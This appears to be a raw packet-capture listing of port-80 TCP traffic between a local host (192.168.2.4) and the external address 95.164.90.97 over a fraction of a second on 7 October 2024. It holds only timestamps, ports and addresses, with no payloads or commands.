Oct 7, 2024 03:15:40.226805925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226836920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226852894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226871014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226876020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226906061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.226912975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.226948977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.250927925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251034021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251081944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251094103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251106024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251136065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251152039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251199961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251211882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251249075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251255035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251286030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251290083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251327991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251343012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251391888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251432896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251467943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251486063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251502991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251509905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251538992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251554012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251574039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251589060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251629114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251677036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251732111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251734972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251776934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251789093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251832008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251852989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251893044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251908064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251929998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251935005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.251966000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.251972914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252002001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252011061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252041101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252043009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252075911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252082109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252125978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252132893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252165079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252185106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252203941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252219915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252258062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252270937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252295017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252310991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252347946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252352953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252397060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252402067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252437115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252444029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252470970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252479076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252506971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252515078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252540112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252547026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252576113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252585888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252609968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252618074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252645016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252651930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252679110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252682924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252721071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252737045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252769947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252779007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252804995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252811909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252840042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252846956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252877951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252882004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252913952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252922058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252948999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252957106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.252983093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.252993107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253019094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253024101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253051043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253062963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253087044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253092051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253120899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253129959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253156900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253165960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253194094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253201962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253231049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253235102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253266096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253273010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253303051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253305912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253336906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253344059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253371954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253379107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253407001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253412962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253441095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253446102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253477097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253483057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253516912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253518105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253549099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253556967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253585100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253590107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253626108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253627062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253662109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253671885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253695965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253703117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253731012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253736019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253765106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253773928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253799915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253804922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253834963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253842115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253870010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253873110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253902912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253911018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253940105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253945112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.253974915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.253983021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254009962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254017115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254048109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254055977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254082918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254092932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254117012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254125118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254151106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254158020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254192114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254194975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254225969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254236937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254262924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254273891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254297972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254304886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254332066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254339933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254369974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254371881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254400015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.254411936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.254440069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.273864985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.273987055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.274077892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.274111986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.274132967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.274147987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.274154902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.274183035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.274190903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.274224043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.274233103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.274260044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.274269104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.274303913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.294667006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.294719934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.294754982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.294827938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.294836998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.294872999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.294891119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.294910908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.294914961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.294945955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.294953108 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.294986963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.294991970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.295032024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313280106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313361883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313396931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313421011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313448906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313452959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313452959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313483953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313492060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313520908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313527107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313556910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313564062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313592911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313602924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313627005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313641071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313663006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313674927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313700914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313713074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313738108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313747883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313772917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313782930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313808918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.313818932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.313854933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337343931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337404013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337429047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337487936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337507010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337522984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337541103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337565899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337573051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337610006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337620974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337656021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337671041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337692976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337709904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337745905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337755919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337790966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337798119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337832928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337843895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337877989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337888956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337932110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.337934971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337977886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.337985039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338031054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338037968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338073969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338088036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338115931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338119030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338152885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338165998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338187933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338198900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338232994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338242054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338289022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338295937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338342905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338349104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338397026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338407993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338459969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338462114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338500023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338505030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338545084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338555098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338589907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338598967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338634968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338643074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338677883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338690996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338711023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338720083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338747025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338754892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338781118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338793039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338819981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338824987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338855028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338865995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338901043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338912010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.338957071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.338964939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339000940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339011908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339041948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339051962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339076042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339087009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339112043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339122057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339153051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339165926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339200974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339212894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339246988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339255095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339288950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339309931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339333057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339343071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339378119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339395046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339426041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339462996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339498043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339514971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.339534044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.339540958 CEST	49737	80	192.168.2.4	95.164.90.97
